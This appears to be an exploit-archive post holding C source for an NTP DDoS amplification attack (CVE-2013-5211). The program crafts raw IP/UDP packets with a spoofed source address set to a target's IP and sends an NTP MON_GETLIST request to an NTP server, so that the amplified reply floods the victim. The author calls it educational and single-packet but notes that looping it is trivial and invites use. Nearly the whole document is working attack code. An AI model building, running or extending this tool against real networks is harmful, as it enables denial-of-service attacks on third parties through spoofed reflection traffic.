NTP DDoS Amplification

Related Vulnerabilities: CVE-2013-5211  
Publish Date: 28 Apr 2014
Author: Danilo PC
                							

                /*
 NTP DDoS amplification - C Language - Linux/x86
 Copyright (C) 2013 Danilo P.C.

   DaNotKnow@gmail.com

 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 3 of the License, or
 (at your option) any later version.

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

/*
  Special Thanks to:
  Alfredo (1phee3@gmail.com)
  NTP Team (www.ntp.org)
*/

/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
 * I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there, 
 *  if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
 */

//------------------------------------------------------------------------------------------------//
//------------------------------------------------------------------------------------------------//


#include <stdio.h>         //For on printf function
#include <string.h>        //For memset
#include <sys/socket.h>    //Structs and Functions used for sockets operations.
#include <stdlib.h>     //For exit function
#include <netinet/ip.h>    //Structs for IP header

//Struct for UDP Packet
struct udpheader{
  unsigned short int udp_sourcePortNumber;
  unsigned short int udp_destinationPortNumber;
  unsigned short int udp_length;
  unsigned short int udp_checksum;
};

// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct   ntpreqheader {
  unsigned char rm_vn_mode;    /* response, more, version, mode */
  unsigned char auth_seq;    /* key, sequence number */
  unsigned char implementation;    /* implementation number */
  unsigned char request;      /* request number */
  unsigned short err_nitems;    /* error code/number of data items */
  unsigned short  mbz_itemsize;    /* item size */
  char data[40];        /* data area [32 prev](176 byte max) */
  unsigned long tstamp;      /* time stamp, for authentication */
  unsigned int keyid;      /* encryption key */
  char mac[8];     /* (optional) 8 byte auth code */
};


// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes) 
{
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
    return(answer);
}


//Da MAIN

int main(int argc, char **argv)
{
int status;      // Maintains the return values of the functions
struct iphdr *ip;    // Pointer to ip header struct
struct udpheader *udp;    // Pointer to udp header struct
struct ntpreqheader *ntp;  // Pointer to ntp request header struct
int sockfd;      // Maintains the socket file descriptor
int one = 1;      // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct sockaddr_in dest;  // Maintains the data of the destination address
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself

// Parameters check
  if( argc != 3){
    printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
    printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
    printf("Watch it on wireshark!\n");
    printf("Coded for education purpose only!\n");
    exit(1);
  }

// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
  sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  if (sockfd == -1){
    printf("Error on initializing the socket\n");
    exit(1);
  }



//Sets the option IP_HDRINCL
  status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
  if (status == -1){
                printf("Error on setting the option HDRINCL on socket\n");
                exit(1);
        }


//"Zeroes" all the packet stack
  memset( packet, 0, sizeof(packet) );


//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
  ip = (struct iphdr *)packet;
  udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
  ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );


//Fill the IP Header
  ip->version = 4;    //IPv4
        ip->ihl = 5;      //Size of the Ip header, minimum 5
        ip->tos = 0;      //Type of service, the default value is 0
        ip->tot_len = sizeof(packet);   //Size of the datagram
        ip->id = htons(1234);     //LengthIdentification Number
        ip->frag_off = 0;    //Flags, zero represents reserved
        ip->ttl = 255;            //Time to Live. Maximum of 255
        ip->protocol = IPPROTO_UDP;  //Sets the UDP as the next layer protocol
        ip->check = 0;            //Checksum.
        ip->saddr = inet_addr( argv[1] );  //Source ip ( spoofing goes here)
        ip->daddr = inet_addr( argv[2] ); //Destination IP

  //Fills the UDP Header
  udp->udp_sourcePortNumber = htons( atoi( "123" ) );       //Source Port
  udp->udp_destinationPortNumber = htons(atoi("123")) ;   //Destination Port
  udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
  udp->udp_checksum = 0;             //Checksum

  //Calculate the checksums
  ip->check = csum((unsigned short *)packet, ip->tot_len);   //Calculate the checksum for iP header

  //Sets the destination data
  dest.sin_family = AF_INET;         // Address Family Ipv4
  dest.sin_port = htons (atoi( "123" ) ) ;     // Destination port
  dest.sin_addr.s_addr = inet_addr( argv[2] );       // Destination Endereço para onde se quer enviar o pacote 

  //Fills the NTP header
  //Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
  //To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the 
  // ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet. 
  // To learn more, read this: http://searchcode.com/codesearch/view/451164#127
  ntp->rm_vn_mode=0x17;       //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
  ntp->implementation=0x03;   //Sets the implementation to 3
  ntp->request=0x2a;      //Sets the request field to 42 ( MON_GETLIST )
            //All the other fields of the struct are zeroed
  

  // Sends the packets
  status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
    if(status <0){
      printf("Failed to send the packets\n");
      exit(1);
    }


}





<p>